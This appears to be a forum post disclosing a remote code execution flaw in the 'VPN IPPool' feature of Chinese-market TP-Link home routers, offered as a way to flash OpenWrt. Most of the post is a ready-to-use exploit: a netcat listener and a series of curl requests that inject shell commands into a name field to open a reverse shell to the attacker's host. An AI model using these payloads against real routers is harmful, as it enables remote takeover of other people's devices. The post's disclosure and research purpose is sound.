Hello! Just want to share something I found while reverse engineering TP-Link (China) home router firmware.
NOTE: This is for Chinese models only. The international models are not affected.
There is a remote code execution (RCE) vuln in most TP-Link (China) home routers (7DR/XDR/WDR series). It is in the “VPN IPPool” feature of the router. We can use the vuln to gain root shell on the router.
Example payload:
# We listen on our machine on port 99
nc -lvnp 99
# Replace <remote_ip> with your actual IP address, and replace <stok> with your actual STOK token.
curl -X POST -d '{"ippool":{"table":"ippool","para":{"name":";ln -sf opt/*/*/*/busybox nc&","start_ip":"2.2.2.2","end_ip":"2.2.2.2","ref":"0"},"name":"ippool_1"},"method":"add"}' http://192.168.1.1/stok=<stok>/ds
curl -X POST -d '{"ippool":{"name":["ippool_1"]},"method":"delete"}' http://192.168.1.1/stok=<stok>/ds
curl -X POST -d '{"ippool":{"table":"ippool","para":{"name":";ln -sf opt/*/*/*/busybox sh&","start_ip":"2.2.2.2","end_ip":"2.2.2.2","ref":"0"},"name":"ippool_1"},"method":"add"}' http://192.168.1.1/stok=<stok>/ds
curl -X POST -d '{"ippool":{"name":["ippool_1"]},"method":"delete"}' http://192.168.1.1/stok=<stok>/ds
curl -X POST -d '{"ippool":{"table":"ippool","para":{"name":";/nc <remote_ip> 99 -e /sh&","start_ip":"2.2.2.2","end_ip":"2.2.2.2","ref":"0"},"name":"ippool_1"},"method":"add"}' http://192.168.1.1/stok=<stok>/ds
curl -X POST -d '{"ippool":{"name":["ippool_1"]},"method":"delete"}' http://192.168.1.1/stok=<stok>/ds
In theory, this vuln will allow people to tinker or flash OpenWrt more easily on TP-Link routers. This is similar to the previous vuln found in here: Adding support for TP-Link XDR-6086 - #16 by soxrok2212
Hopefully this will inspire people to tinker with TP-Link routers more and perhaps add OpenWrt support for more models.
Actually I also found an arbitrary file read vuln and a denial of service (crash the router) vuln. Check out my blog for more detailed explanation and payload.
Just want to share it in here in case anyone is interested.
My blog: